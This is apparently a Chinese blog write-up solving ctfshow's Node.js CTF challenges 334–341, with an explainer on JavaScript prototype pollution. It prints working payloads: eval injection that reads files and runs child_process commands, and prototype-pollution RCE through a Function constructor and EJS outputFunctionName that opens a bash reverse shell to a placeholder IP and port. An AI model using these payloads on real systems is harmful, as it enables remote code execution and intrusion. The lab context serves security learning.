ctfshow的nodjs专题
本文最后更新于 16 天前,其中的信息可能已经有所发展或是发生改变。

Web 334

下载附件,提示了,以zip格式解压缩,得到俩源码

//user.js
module.exports = {
items: [
  {username: 'CTFSHOW', password: '123456'}
]
};
//login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
  return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
  req.session.regenerate(function(err) {
    if(err){
      return res.json({ret_code: 2, ret_msg: '登录失败'});        
    }
     
    req.session.loginUser = user.username;
    res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
  });
}else{
  res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}  
 
});

module.exports = router;

审计一下,用户名CTFSHOW密码123456

toUpperCase()可以看到这个函数,对username做了什么东西,查一查这个函数

toUpperCase():
在 JavaScript 里,`toUpperCase()` 同样是 `String` 对象的一个方法,用于将字符串转换为大写形式,返回转换后的新字符串,原字符串保持不变

不允许大写,但是账号还得是那个,但是有那个函数

这么一来直接输入小写就行了呗

username:ctfshow
password:123456

Web 335

查看源代码,发现

<!-- /?eval= -->

传参?测试一下?eval=111,有回显

因为考的是nodjs嘛,就去查相关资料,内部有fs模块,去执行命令,那就用这个去调用fs模块去查,前提得用nodjs的代码语句吧

?eval=require('fs').readdirSync('.')

详细解释

1. require('fs')

  • require 是 Node.js 中用于引入模块的函数。在 Node.js 里,模块是代码组织和复用的基本单位。
  • 'fs' 指的是 Node.js 的内置 fs 模块,该模块提供了与文件系统进行交互的功能,例如文件的读取、写入、删除以及目录的操作等。
  • 所以 require('fs') 的作用是引入 fs 模块,从而可以使用该模块提供的各种方法。

2. readdirSync

  • readdirSyncfs 模块提供的一个同步方法。同步方法意味着在执行该方法时,程序会暂停执行,直到该方法完成操作并返回结果,才会继续执行后续代码。
  • readdirSync 方法用于读取指定目录下的所有文件和文件夹的名称。

3. '.'

  • '.' 代表当前工作目录,也就是 Node.js 脚本当前所在的目录。如果想要读取其他目录,可以传入相应的路径,比如 './test' 表示当前目录下的 test 子目录
?eval=require('fs').readFileSync('fl00g.txt')

readFileSync

这是 fs 模块中的一个同步方法,它的作用是读取指定文件的内容

其他payload:
?eval=require('child_process').execSync('cat f*')
//使用这个child_process类里面的execSync方法

Web 336

还是查看源码,发现一样的

<!-- /?eval= -->

试试原来的payload一样适用,只是文件名更改了一下

Web 337

给了这个
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

查看源代码,仍然是那个eval

题目给的估计就是源代码了,审一下

就是通过get传参,传a和b的值,然后有一个检测,要求a和b的长度得相等,其次a和b的值不相等,最后要求a+flag和b+flag的哈希值要相等,才能输出flag

一下就想到了php里面的数组绕过,应该通用吧,测试一下

数组绕过

?a[]=1&b[]=1

好嘛,直接出解了,有点意外的

Web 338

这是道原型链的题吧,很早以前看到过类似的,所以解释一下

在JavaScript中,每个函数都有一个特殊的属性叫做原型(prototype)。原型是一个对象,它包含了可以被该函数的所有实例共享的属性和方法

当我们创建一个函数时,JavaScript会自动为该函数创建一个原型对象,并将其分配给该函数的 prototype 属性。这个原型对象包含了一些默认的属性和方法,比如 constructor,它指向该函数本身

原型链污染

首先知道prototype__proto__分别是什么

__proto__ 属性

__proto__ 是一个非标准的属性,它提供了对对象内部 [[Prototype]] 属性的访问。也就是说,通过 __proto__ 属性,我们可以直接获取或设置一个对象的原型对象

prototype

JavaScript 是一种基于原型的编程语言,它没有传统的类继承机制,但可以通过 prototype 实现类似的继承效果,允许对象继承其他对象的属性和方法

在javascript当中我们要定义一个类时,就需要用定义构造函数的形式去定义

function Foo(){
this.bar = 1
}
new Foo()

Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性.一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数的内部

function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}

(new Foo()).show()

定了这个方法,但是问题是这样相当于是绑定到了对象上,而不是在原型内部

function Foo(){
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()

可以把prototype理解为附加的一个属性,相当于每个实例化后的foo类都能包含其所有的属性和方法,就不用那个一次次的去定义了

所以

foo.__proto__ = Foo.prototype
//一个对象的__proto__属性,指向这个对象所在类的prototype属性

这样就是通过__proto__去访问Foo的原型了,也是做到了继承

javascript原型链继承

function Father(){
this.first_name = "Donald"
this.last_name = "Trump"

}
function Son(){
this.first_name = "Melania"

}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

这样就做了继承了,Son继承了Father的所有属性和方法,javascript引擎中,在调用输出的时候会现在Son中寻找last_name,若找不到就去Son.__proto__中找,找不到就会一级一级的继承去找,这边我们将它和father做了继承,所以会找到last_name并输出,但是要注意的是,first_name会输出son里面的,因为构造函数的调用顺序,在创建Son实例时,会覆盖掉从Father继承来的同名的属性

这边还有一个特点,是对于原型链继承的:这种原型继承方式会让所有 Son 实例共享 Father 实例的属性。如果修改了某个 Son 实例的原型属性,会影响到其他 Son 实例

举个例子:

function Father() {
this.first_name = "Donald";
this.last_name = "Trump";
}

function Son() {
this.first_name = "Melania";
}

// 设置 Son 的原型为 Father 的一个实例
Son.prototype = new Father();

// 创建两个 Son 实例
let son1 = new Son();
let son2 = new Son();

// 修改 son1 的原型属性(这里以修改 last_name 为例)
son1.__proto__.last_name = "NewLastname";

// 查看 son2 的 last_name 属性
console.log(son2.last_name); // 输出: NewLastname

这边修改了Son1的原型属性,就会影响到Son2的属性

原型链污染就是利用的这个特点,通过修改原型属性,就会影响其他类

什么情况下才会有污染

就找我们能控制的就行吧

举个例子:

function merge(target,source){
for(let key in source){
if (key in source && key in target){
merge(target[key],source[key])
}else{
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b:2}}
merge(o1,o2)
console.log(o1.a,o2.b)
o3 = {}
console.log(o3.b)

merge该函数用于递归合并两个对象。如果 sourcetarget 有相同属性名且对应值都是非 null 对象,则递归合并这两个子对象;否则直接将 source 的属性值赋给 target 对应属性

o1 是一个空对象。

o2 是一个具有属性 a 值为 1 的对象,同时通过 __proto__ 显式设置其原型对象,原型对象包含属性 b,值为 2

merge 函数开始遍历 o2 的可枚举属性。

o2 有两个可枚举属性:a__proto__

对于属性 ao1 中没有该属性,所以 o1.a 会被赋值为 1

对于属性 __proto__,它也是一个可枚举属性(虽然 __proto__ 用于设置原型,但在这里作为普通属性被遍历),o1 中没有 __proto__ 属性,所以 o1.__proto__ 会被赋值为 {b: 2},也就是 o1 的原型被修改为包含属性 b 的对象。

o1.a:由于 merge 操作将 o2.a 的值 1 赋给了 o1.a,所以 o1.a 输出为 1

o2.bbo2 原型对象上的属性,通过原型链查找可以访问到,所以 o2.b 输出为 2

o3 是一个新创建的空对象,它没有经过任何原型修改操作,其原型是默认的 Object.prototype,不包含属性 b

所以 o3.b 输出为 undefined

合并了但是并没有污染

这是因为,我们用javascript创建o2的过程(let o2 = {a: 1,“proto”:{b:2}})中,__proto__已经代表了o2的原型,此时遍历o2所有的键名,拿到的是[a,b],__proto__并不是一个key,自然也不会修改object的原型

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
if (typeof source[key] === 'object' && source[key]!== null && typeof target[key] === 'object' && target[key]!== null) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
} else {
target[key] = source[key];
}
}
}

let o1 = {};
let o2 = { a: 1 };
// 直接修改 o2 的原型
Object.setPrototypeOf(o2, { b: 2 });
merge(o1, o2);
console.log(o1.a, o1.b);

let o3 = {};
console.log(o3.b);

o3这样也就有了b属性,说明Object已经被污染

所以是直接影响到了object,所以o3才会有b2的属性

这些了解了之后,我们回到题目,看看源码,一堆文件,就找函数和flag位置就行,还是先看路由文件

/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;
/common.js

module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

/login中用到了copy函数,去找,最后是用secert类去检测的

/common.js里有这个copy函数

ctfshow===’36dboy’才能读到flag文件

这边利用copy方法进行原型链污染嘛,就是要让secert类的object多一个ctfshow=36dboy这个属性

通过__proto__去直接修改原型就可以,抓包改一下就行了

{"username":"s","password":"s","__proto__":{"ctfshow":"36dboy"}}

Web 339

/login.js


var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;
/common.js

module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
/api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

一开始审还以为和上一题一样嘞,改个secert类的原型就可以,但是再一看

secert.ctfshow===flag

就没可能了,怎么可能让ctfshow等于flag呢

然后就看到aip.js当中,定义了query这个变量,而且未定义,也就是说我们可控

使用 Function 构造函数动态创建函数存在很大的安全风险,因为它可以执行任意 JavaScript 代码。如果 query 是用户输入的数据,攻击者可以通过构造恶意的 query 字符串来执行任意代码,从而实现远程代码执行攻击

思路这不就有了嘛,对query定义,通过__proto__去原型链污染,然后达到命令执行就OK了

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/公网ip/端口 0>&1\"')"}}

这边用云服务器作连接的时候除了开放安全组和端口,还一定要关防火墙,别问我怎么知道的

Web 340

/api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;
/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;
/common.js


module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

这边是/login.js发生了变化,变成了utils.copy(user.userinfo,req.body);

可以看到,当我们嵌套两层__proto__时,不管是user对象还是user.userinfo对象都存在query属性,并成功被赋值。而如果我们将payload改为: payload = JSON.parse(‘{“__proto__“:{“query”:true}}’) 时,再运行代码会发现user.userinfo.query属性存在,但user.query为undefined

也就是说,我们需要污染到object,就得两层才可以,即userinfo的上层是user,user的上层才是object

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}

Web 341

/app.js
var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

var app = express();

//session
var identityKey = 'auth';

app.use(session({
name: identityKey,
secret: 'ctfshow_session_secret',
store: new FileStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
}
}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/login', loginRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
//res.render('error',{msg:err.message});
res.render('error');
});

module.exports = app;

这边使的是ejs模版

/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

});

module.exports = router;
/common.js


module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

使用的是ejs模版,直接去写一个RCE

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var _llama2"}}}

解释一下payload:

outputFunctionName 通常和 EJS(Embedded JavaScript)模板引擎相关。在 EJS 内部处理模板渲染时,会用到 outputFunctionName 来指定用于生成最终输出的函数名
_llama1; 和 var _llama2:这部分代码在整个恶意逻辑中并没有实际的危害,_llama1; 只是一个占位符或者随意编写的变量引用,而 var _llama2 是声明一个变量,主要是为了让代码语法上看起来更合理,起到混淆的作用。
global.process.mainModule.require('child_process').exec(...):这是核心的恶意代码部分。在 Node.js 环境中,global 是全局对象,process.mainModule.require 用于引入模块,这里引入了 child_process 模块。exec 方法用于执行一个 shell 命令。
bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\":这是一个典型的反弹 shell 命令。bash -i 表示启动一个交互式的 bash shell,>& /dev/tcp/ip/端口 表示将标准输出和标准错误输出重定向到指定的 IP 地址和端口的 TCP 连接上,0>&1 表示将标准输入也重定向到该连接。这样,攻击者就可以在监听该 IP 和端口的机器上获取目标系统的 shell 权限,进而执行任意命令

就是利用ejs模版里的东西去构造函数,达到命令执行的效果

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇